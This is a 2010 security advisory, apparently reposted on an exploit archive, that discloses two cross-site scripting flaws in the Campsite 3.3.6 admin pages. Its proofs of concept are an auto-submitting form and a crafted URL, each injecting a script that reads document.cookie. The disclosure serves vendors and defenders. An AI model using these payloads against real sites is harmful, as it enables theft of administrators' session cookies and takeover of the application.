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Campsite 3.3.6 Cross Site Scripting

Campsite 3.3.6 Cross Site Scripting
Posted Aug 3, 2010
Authored by High-Tech Bridge SA | Site htbridge.com

Campsite version 3.3.6 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 391fbbcc59fff241860e32b1de2b1908c57829b4ec57e7c0087cbf1dc13ddc6f

Campsite 3.3.6 Cross Site Scripting

Change Mirror Download
===============================================================
Vulnerability ID: HTB22494
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_campsite.html
Product: Campsite
Vendor: Sourcefabric o.p.s ( http://www.sourcefabric.org/ )
Vulnerable Version: 3.3.6 and Probably Prior Versions
Vendor Notification: 16 July 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/comments/index.php" script to properly sanitize user-supplied input in "f_comment_search" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/comments/index.php" method="post" name="main" >
<input type="hidden" name="f_comment_per_page" value="20" >
<input type="hidden" name="f_comment_search" value='1"><script>alert(document.cookie)</script>'>
<input type="hidden" name="f_comment_order_by" value="datestamp">
</form>
<script>
document.main.submit();
</script>
Solution: Upgrade to the most recent version

===============================================================
Vulnerability ID: HTB22495
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_campsite_1.html
Product: Campsite
Vendor: Sourcefabric o.p.s ( http://www.sourcefabric.org/ )
Vulnerable Version: 3.3.6 and Probably Prior Versions
Vendor Notification: 16 July 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/system_pref/do_edit.php" script to properly sanitize user-supplied input in "f_site_title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
http://host/admin/system_pref/do_edit.php?f_campsite_online=Y&f_site_title=Kora"><script>alert(document.cookie)</script>&f_site_metakeywords=11&f_site_metadescription=22&f_cache_enabled=N&f_cache_engine=APC&f_imagecache_lifetime=86400&f_secret_key=1&f_session_lifetime=1400&f_keyword_separator=%2C&f_login_num=3&f_max_upload_filesize=16M&f_smtp_host=localhost&f_smtp_port=25&f_editor_image_ratio=100&f_external_subs_management=N&f_use_replication=N&f_db_repl_host=&f_db_repl_user=&f_db_repl_pass=&f_db_repl_port=3306&f_use_campcaster=N&f_cc_hostname=localhost&f_cc_hostport=80&f_cc_xrpcpath=%2Fcampcaster%2FstorageServer%2Fvar%2Fxmlrpc%2F&f_cc_xrpcfile=xrLocStor.php&f_template_filter=.*%2C+CVS&save=%D0%A1%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B8%D1%82%D1%8C HTTP/1.1

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